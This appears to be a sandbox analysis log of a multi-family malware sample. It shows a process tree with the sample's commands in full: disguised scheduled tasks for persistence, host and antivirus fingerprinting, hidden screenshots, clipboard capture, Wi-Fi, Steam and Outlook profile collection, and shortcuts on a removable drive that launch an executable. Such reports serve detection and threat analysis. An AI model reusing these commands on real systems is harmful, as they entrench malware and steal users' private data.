PID 4876 wrote to memory of 4612	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	105
PID 4876 wrote to memory of 3840	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	110
PID 4328 wrote to memory of 3496	4328	WindowsUpdate_Client.exe	116
PID 4328 wrote to memory of 4616	4328	WindowsUpdate_Client.exe	118
PID 1424 wrote to memory of 3592	1424	WindowsPush_Agent.exe	120
PID 1424 wrote to memory of 3364	1424	WindowsPush_Agent.exe	122
PID 632 wrote to memory of 2552	632	WindowsPush_Provider.exe	124
PID 632 wrote to memory of 1968	632	WindowsPush_Provider.exe	126
PID 4876 wrote to memory of 3320	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	128
PID 4876 wrote to memory of 3204	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	130
PID 4876 wrote to memory of 4480	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	131
PID 4876 wrote to memory of 824	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	132
PID 4480 wrote to memory of 1700	4480	WindowsPush_Provider.exe	133
PID 4480 wrote to memory of 1984	4480	WindowsPush_Provider.exe	135
PID 3204 wrote to memory of 2592	3204	WindowsUpdate_Client.exe	137
PID 3204 wrote to memory of 4060	3204	WindowsUpdate_Client.exe	139
PID 824 wrote to memory of 1404	824	WindowsPush_Agent.exe	141
PID 4876 wrote to memory of 2444	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	143
PID 2444 wrote to memory of 3456	2444	cmd.exe	145
PID 824 wrote to memory of 4016	824	WindowsPush_Agent.exe	146
PID 4876 wrote to memory of 3996	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	148
PID 4876 wrote to memory of 2984	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	150
PID 4876 wrote to memory of 3236	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	152
PID 3236 wrote to memory of 532	3236	cmd.exe	154
PID 4876 wrote to memory of 3224	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	155
PID 4876 wrote to memory of 3312	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	157
PID 4876 wrote to memory of 2704	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	159
PID 4876 wrote to memory of 1960	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	193
PID 4876 wrote to memory of 4996	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	163
PID 4876 wrote to memory of 4712	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	164
PID 4876 wrote to memory of 748	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	165
PID 4876 wrote to memory of 4568	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	166
PID 4876 wrote to memory of 4088	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	168
PID 4088 wrote to memory of 1096	4088	powershell.exe	170
PID 4876 wrote to memory of 3100	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	171
PID 4876 wrote to memory of 888	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	173
PID 4876 wrote to memory of 3012	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	175
PID 4876 wrote to memory of 4448	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	177
PID 4876 wrote to memory of 3016	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	336
PID 4876 wrote to memory of 1904	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	181
PID 748 wrote to memory of 3484	748	WindowsPush_Agent.exe	183
PID 4712 wrote to memory of 1332	4712	WindowsPush_Provider.exe	184
PID 748 wrote to memory of 1668	748	WindowsPush_Agent.exe	187
PID 4712 wrote to memory of 3388	4712	WindowsPush_Provider.exe	263
PID 4876 wrote to memory of 1000	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	286
PID 4876 wrote to memory of 1960	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	193
PID 4876 wrote to memory of 3544	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	195
PID 4876 wrote to memory of 1016	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	197
PID 4876 wrote to memory of 4724	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	199
PID 4876 wrote to memory of 2148	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	201
PID 4328 wrote to memory of 4580	4328	WindowsUpdate_Client.exe	203
PID 4328 wrote to memory of 3388	4328	WindowsUpdate_Client.exe	263

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe"
1⤵
- Adds Run key to start application
- Drops file in Windows directory
- Modifies trusted root certificate store through registry
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:4876
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2148
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_BIOS).SerialNumber"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).Model"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2696
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn NetworkBroker_Update /tr "C:\ProgramData\Microsoft\Windows\Start Menu\WindowsUpdate_Client.exe" /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1136
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsPush_Installer /tr C:\Users\Public\Documents\WindowsPush_Provider.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4612
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn SecurityHealthService /tr C:\Windows\SoftwareDistribution\WindowsPush_Agent.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-Process -Name 'windowsupdate_client' -ErrorAction SilentlyContinue).Count"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3320
- C:\ProgramData\Microsoft\Windows\Start Menu\WindowsUpdate_Client.exe
  "C:\ProgramData\Microsoft\Windows\Start Menu\WindowsUpdate_Client.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3204
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2592
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4060
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
    3⤵
    PID:5952
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_BIOS).SerialNumber"
    3⤵
    PID:4620
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_ComputerSystem).Model"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5912
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn WindowsDefender_Update /tr C:\Windows\System32\catroot\DeviceAssociation_Broker.exe /sc ONLOGON /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5676
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn ServiceHost_LocalSystem /tr C:\Windows\ModemLogs\WindowsLicense_Service.exe /sc ONLOGON /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5152
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn WindowsShell_Installer /tr C:\Windows\System32\Tasks\Windows\WindowsPush_Client.exe /sc ONLOGON /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5184
- - C:\Windows\system32\cmd.exe
    cmd /c "wmic csproduct get uuid"
    3⤵
    PID:3816
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:5284
- - C:\Windows\system32\cmd.exe
    cmd /c ver
    3⤵
    - Executes a command shell one-liner
    PID:5248
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command (Get-Culture).Name
    3⤵
    PID:5676
- - C:\Windows\system32\cmd.exe
    cmd /c "wmic csproduct get uuid"
    3⤵
    PID:5156
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:5464
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
    3⤵
    PID:4044
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_Battery).EstimatedChargeRemaining"
    3⤵
    PID:5704
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -Command "try { $p=New-Object -ComObject WMPlayer.OCX; Write-Output $p.settings.volume; [Runtime.InteropServices.Marshal]::ReleaseComObject($p) } catch { Write-Output 50 }"
    3⤵
    PID:1640
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Project_Files.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3192
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-Process -Name 'deviceassociation_broker' -ErrorAction SilentlyContinue).Count"
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    PID:8104
- - C:\Windows\system32\cmd.exe
    cmd /c "wmic csproduct get uuid"
    3⤵
    PID:7148
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:2064
- - C:\Windows\system32\cmd.exe
    cmd /c "vol %systemdrive% 2>nul"
    3⤵
    PID:6776
- - C:\Windows\system32\cmd.exe
    cmd /c ver
    3⤵
    - Executes a command shell one-liner
    PID:8068
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command (Get-Culture).Name
    3⤵
    PID:7084
- - C:\Windows\system32\cmd.exe
    cmd /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    PID:6720
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:7196
- - C:\Windows\system32\cmd.exe
    cmd /c "vol %systemdrive% 2>nul"
    3⤵
    - Executes a command shell one-liner
    PID:7596
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
    3⤵
    PID:5720
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_Battery).EstimatedChargeRemaining"
    3⤵
    PID:7636
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -Command "try { $p=New-Object -ComObject WMPlayer.OCX; Write-Output $p.settings.volume; [Runtime.InteropServices.Marshal]::ReleaseComObject($p) } catch { Write-Output 50 }"
    3⤵
    PID:7952
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Documents.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
    3⤵
    PID:6696
- - C:\Windows\system32\cscript.exe
    cscript //nologo F:\svc.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:7404
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command hostname
    3⤵
    PID:7248
  - - C:\Windows\system32\HOSTNAME.EXE
      "C:\Windows\system32\HOSTNAME.EXE"
      4⤵
      PID:8132
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command [System.Environment]::UserName
    3⤵
    PID:6560
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-WmiObject Win32_OperatingSystem).OSArchitecture"
    3⤵
    PID:6996
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-WmiObject Win32_Processor).Name"
    3⤵
    PID:8172
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "'{0:N2}' -f ((Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB)"
    3⤵
    PID:6236
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-WmiObject Win32_VideoController).Name -join '; '"
    3⤵
    PID:8092
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-WmiObject Win32_BaseBoard).Manufacturer + ' ' + (Get-WmiObject Win32_BaseBoard).Product"
    3⤵
    PID:5848
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-WmiObject Win32_BIOS).Manufacturer + ' ' + (Get-WmiObject Win32_BIOS).SMBIOSBIOSVersion"
    3⤵
    PID:6788
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-WmiObject Win32_DiskDrive | ForEach-Object { $_.Model + ' (' + ('{0:N0} GB' -f ($_.Size/1GB)) + ')' }"
    3⤵
    PID:7772
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-NetAdapter | Where-Object {$_.Status -eq 'Up'} | ForEach-Object { $_.Name + ' - ' + $_.LinkSpeed }"
    3⤵
    PID:7688
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-NetIPAddress -AddressFamily IPv4 | Where-Object {$_.IPAddress -notmatch '^127|^169'} | ForEach-Object { $_.InterfaceAlias + ': ' + $_.IPAddress }"
    3⤵
    PID:7520
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-NetAdapter | Where-Object {$_.Status -eq 'Up'} | ForEach-Object { $_.Name + ': ' + $_.MacAddress }"
    3⤵
    PID:4016
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-WmiObject -Namespace root/SecurityCenter2 -Class AntiVirusProduct | ForEach-Object { $_.displayName + ' [state:' + $_.productState + ']' }"
    3⤵
    PID:6696
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-Process -Name 'deviceassociation_broker' -ErrorAction SilentlyContinue).Count"
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    PID:5720
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-WmiObject -Namespace root/SecurityCenter2 -Class FirewallProduct | ForEach-Object { $_.displayName }"
    3⤵
    PID:7524
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*,HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Where-Object {$_.DisplayName} | Select-Object -ExpandProperty DisplayName | Sort-Object -Unique"
    3⤵
    PID:5492
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-Service | Where-Object {$_.Status -eq 'Running'} | ForEach-Object { $_.Name + ' (' + $_.DisplayName + ')' }"
    3⤵
    PID:3700
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance Win32_StartupCommand | ForEach-Object { $_.Name + ' -> ' + $_.Command }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:8012
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-LocalUser | ForEach-Object { $_.Name + ' [' + $_.Enabled + ']' }"
    3⤵
    PID:7252
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-LocalGroupMember Administrators 2>$null | ForEach-Object { $_.Name }"
    3⤵
    PID:7776
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "[Environment]::GetEnvironmentVariable('Path','Machine') -split ';' | Where-Object {$_} | Out-String"
    3⤵
    PID:6196
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-Date) - (Get-CimInstance Win32_OperatingSystem).LastBootUpTime | ForEach-Object { $_.Days.ToString()+'d '+$_.Hours.ToString()+'h '+$_.Minutes.ToString()+'m' }"
    3⤵
    PID:1164
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command (Get-TimeZone).DisplayName
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:7772
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command (Get-Culture).DisplayName
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:7688
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-WmiObject Win32_Keyboard).Description"
    3⤵
    PID:5760
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-CimInstance Win32_OperatingSystem).LastBootUpTime.ToString('yyyy-MM-dd HH:mm:ss')"
    3⤵
    PID:6008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-WmiObject Win32_OperatingSystem).InstallDate.ToString('yyyy-MM-dd HH:mm:ss')"
    3⤵
    PID:3148
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-ItemProperty 'HKLM:\System\CurrentControlSet\Control\Terminal Server').fDenyTSConnections"
    3⤵
    PID:4768
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System').ConsentPromptBehaviorAdmin"
    3⤵
    PID:2436
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-ChildItem $env:APPDATA\Microsoft\Windows\Recent -File | Sort-Object LastWriteTime -Desc | Select-Object -First 30 -ExpandProperty Name) -join \"`n\""
    3⤵
    PID:6764
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-ChildItem Env: | ForEach-Object { $_.Name + '=' + $_.Value }"
    3⤵
    PID:6416
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -NoProfile -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $b=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bmp=New-Object System.Drawing.Bitmap($b.Width,$b.Height); $g=[System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location,[System.Drawing.Point]::Empty,$b.Size); $bmp.Save('C:\Users\Admin\AppData\Local\Temp\vanish_stealer_349199240\screenshot.png'); $g.Dispose(); $bmp.Dispose()"
    3⤵
    PID:7028
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-Clipboard -Raw"
    3⤵
    - Clipboard Data
    PID:4832
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Project_Files.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6172
- - C:\Windows\system32\cscript.exe
    cscript //nologo F:\svc.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:1728
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "netsh wlan show profiles | Select-String ': ' | ForEach-Object { ($_ -split ': ')[1].Trim() }"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:7472
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-ItemProperty 'HKCU:\Software\Valve\Steam' -ErrorAction SilentlyContinue).SteamPath"
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    PID:6684
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-ChildItem 'HKCU:\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles' -Recurse -ErrorAction SilentlyContinue | ForEach-Object { Get-ItemProperty $_.PSPath -ErrorAction SilentlyContinue } | Select-Object * | Out-String"
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    PID:2588
- C:\Users\Public\Documents\WindowsPush_Provider.exe
  C:\Users\Public\Documents\WindowsPush_Provider.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4480
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1700
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1984
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5140
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_BIOS).SerialNumber"
    3⤵
    PID:3800
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_ComputerSystem).Model"
    3⤵
    PID:1228
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn DeviceAssociation_Broker /tr C:\Windows\security\WindowsModules_Service.exe /sc ONLOGON /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6124
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn WindowsSecurity_Provider /tr C:\Windows\Help\WindowsManager_Service.exe /sc ONLOGON /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5964
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn BackgroundTransfer_Service /tr C:\Windows\System32\oobe\WindowsPush_Agent.exe /sc ONLOGON /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5836
- - C:\Windows\system32\cmd.exe
    cmd /c "wmic csproduct get uuid"
    3⤵
    PID:5520
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:6124
- - C:\Windows\system32\cmd.exe
    cmd /c ver
    3⤵
    - Executes a command shell one-liner
    PID:5868
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command (Get-Culture).Name
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2916
- - C:\Windows\system32\cmd.exe
    cmd /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    PID:5176
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:5252
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
    3⤵
    PID:5432
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_Battery).EstimatedChargeRemaining"
    3⤵
